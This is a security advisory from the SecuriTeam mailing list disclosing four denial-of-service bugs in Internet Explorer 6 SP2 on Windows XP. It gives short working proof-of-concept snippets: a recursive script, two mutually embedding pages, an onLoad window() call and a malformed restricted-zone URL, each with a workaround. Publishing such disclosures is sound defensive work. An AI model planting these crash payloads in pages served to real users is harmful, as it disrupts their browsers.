The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Microsoft IE Recursive Scripting, Embedded Files, window() and Restricted
Sites DoS
------------------------------------------------------------------------
SUMMARY
" <http://www.microsoft.com/windows/ie/default.asp> Internet Explorer,
abbreviated IE or MSIE, is a proprietary web browser made by Microsoft and
currently available as part of Microsoft Windows. Internet Explorer is by
far the most widely used web browser, although since 2004 it has lost some
usage share to other browsers." - (
<http://en.wikipedia.org/wiki/Internet_Explorer> Wiki)
Multiple stack and buffer overflow vulnerabilities have been discovered in
Microsoft Internet Explorer, exploiting these vulnerabilities allows
malicious attacker to crash a vulnerable browser.
DETAILS
Vulnerable Systems:
* Microsoft Internet Explorer 6 SP2
(6.0.2900.2180.xpsp_sp2_gdr.050301-1519) on a fully patched Windows XP SP2
system.
* MSHTML.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
* BROWSEUI.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
* SHDOCVW.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
* SHLWAPI.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
* URLMON.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
* WININET.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
Recursive Scripting Stack overflow:
There is a bug in Microsoft Internet Explorer, which causes a crash in
NTDLL.DLL. The bug occurs, because Microsoft Internet Explorer can't
handle large amounts of (over 110) stack overflows. On Windows 98 SE you
will get an error in KERNEL32.DLL.
Proof of concept:
<script>
window.onerror=new Function("history.go(0)");
function btf(){btf();}
btf();
</script>
Workaround:
Deactivate "Active Scripting" in the IE options menu.
Processing Embedded Files within an Endless Loop (DoS):
The crash occurs, because Microsoft Internet Explorer doesn't limit the
depth of embedded files.
Proof of Concept:
Page #1 (save as "btf1.htm"):
<html><head><title>BTF - MSIE crash</title></head><body>
<object data="./btf2.htm" width="0" height="0"></object>
</body></html>
Page #2 (save as "btf2.htm"):
<html><head><title>BTF - MSIE crash</title></head><body>
<object data="./btf1.htm" width="0" height="0"></object>
</body></html>
Workaround:
Deactivate "ActiveX" in the IE options menu.
JavaScript window() (DoS):
The crash occurs because Microsoft Internet Explorer can't handle a call
to a JavaScript-function with the name of the "window"-object. The bug was
fixed in earlier versions, but has resurfaced.
Proof of Concept:
<body onLoad="window()">
Workaround:
Deactivate "Active Scripting" in the IE options menu.
Adding Sites to Restricted Zone Causes a DoS:
The bug occurs, because Microsoft Internet Explorer can't handle adding of
special-formed URLs to the restricted zone. To crash IE, the URL must
begin with numbers and dots (like a correct IP address), but it must not
end like a IP address.
Proof of Concept:
Add to restricted zone: 4.3.2.1btf-errorreporting.btf.de
ADDITIONAL INFORMATION
The information has been provided by <mailto:0-1-2-3@gmx.de> Benjamin
Tobias Franz.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
